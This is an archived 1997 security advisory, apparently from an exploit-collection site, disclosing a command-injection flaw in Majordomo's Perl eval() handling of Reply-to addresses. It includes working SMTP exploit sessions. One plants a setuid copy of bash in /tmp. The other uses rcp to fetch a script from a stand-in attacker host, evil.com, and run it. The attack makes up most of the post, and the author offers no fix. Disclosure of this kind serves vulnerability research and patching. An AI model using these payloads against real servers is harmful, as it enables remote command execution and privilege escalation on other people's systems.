A perl eval error in majordomo allows remote execution of arbitrary commands

Description:A Perl eval() in Majordomo is not quite paranoid enough, allowing user commands to slip through with clever use of IFS.
Author:Razvan Dragomirescu <drazvan@KAPPA.RO>
Compromise:Run commands as whatever Majordomo runs as (often group daemon). (remote)
Vulnerable Systems:Those running a vulnerable version of majordomo
Date:24 August 1997

Date: Sun, 24 Aug 1997 15:17:18 +0300
From: Razvan Dragomirescu <drazvan@KAPPA.RO>
Subject: Vulnerability in Majordomo

Hello all,

I have discovered a vulnerablility in "majordomo" that allows local and
remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful.

Still, there is a condition for the exploit to work. The server should
have at least one list that uses the "advertise" or "noadvertise"
directives in the configuration files. These directives indicate if the
list should (or should not) be included in a reply to a "LISTS" command
depending on the address the request came from. The exploit also works if
the server has one or more "hidden" lists (see the Majordomo documentation
for details).

Here's a piece of the configuration file:

-- lrazvan.config --

        # advertise            [regexp_array] (undef) <majordomo>
        # If the requestor email address matches one of these regexps, then
        # the list will be listed in the output of a lists command. Failure
        # to match any regexp excludes the list from the output. The
        # regexps under noadvertise override these regexps.
advertise           <<  END
-- end lrazvan.config --

The one above tells majordomo to include this list in any "LISTS" request.

The problem is that when the server finds a list that has one of these
attributes ("advertise" or "noadvertise"), it will try to match the
reply-to address against these patterns. It uses an "eval" command to do this.

Let's take a look at the PERL source (the do_lists procedure):

-- majordomo --
foreach $i (@array) {
                      $command = "(q~$reply_addr~ =~ $i)";
                      $result = 1, last if (eval $command);

-- end majordomo --

$reply_addr is the result of some paranoid validation. It cannot contain
<,>,[,],-,+,(,),; etc..
But with a few tricks, this won't be a problem :).

Now, for the exploits. There a two of them, one for the local users who
just want a setuid shell (with the rights of the server owner, usually
majordomo.daemon), and one for the remote users who might want to copy
some files or execute commands remotely (the old "mail foo@foo.net <
/etc/passwd" won't work, it contains '<' ...).

Local exploit:
telnet localhost 25

helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro

--end of exploit --

The "Reply-to" field does all the hard work. I think it needs some explaining. First, we use $IFS instead of spaces (guess why...), and '&&' instead of ';'. The '&&' operator does in bash the same thing it does in perl. "a&&b" means "execute a and if succ
essful execute b". The address is composed in such a way that it passes the tests majordomo uses (it considers it as a X400 address). So don't change anything in there (of course, you can change the commands, but not the syntax). The exploit will copy /bi
n/bash as /tmp/lord and change permissions for it to 4777 (setuid + rwx for everyone).

For the remote users, change the Reply-to field to something like:

Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro

Make sure user@evil.com can connect from the remote site. evil.com is your
You will have to edit the "script" file in your home directory and make it
do eveverything you want (you can now use all those "forbidden characters").

I am too tired to find a fix for this right now. Some more validation
might help.
I have tested this on Majordomo version 1.94.3. Other versions could be

Have fun and be good.

Razvan Dragomirescu
drazvan@kappa.ro, drazvan@romania.ro, drazvan@roedu.net
Phone: +40-1-6866621
"Smile, tomorrow will be worse" (Murphy)

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: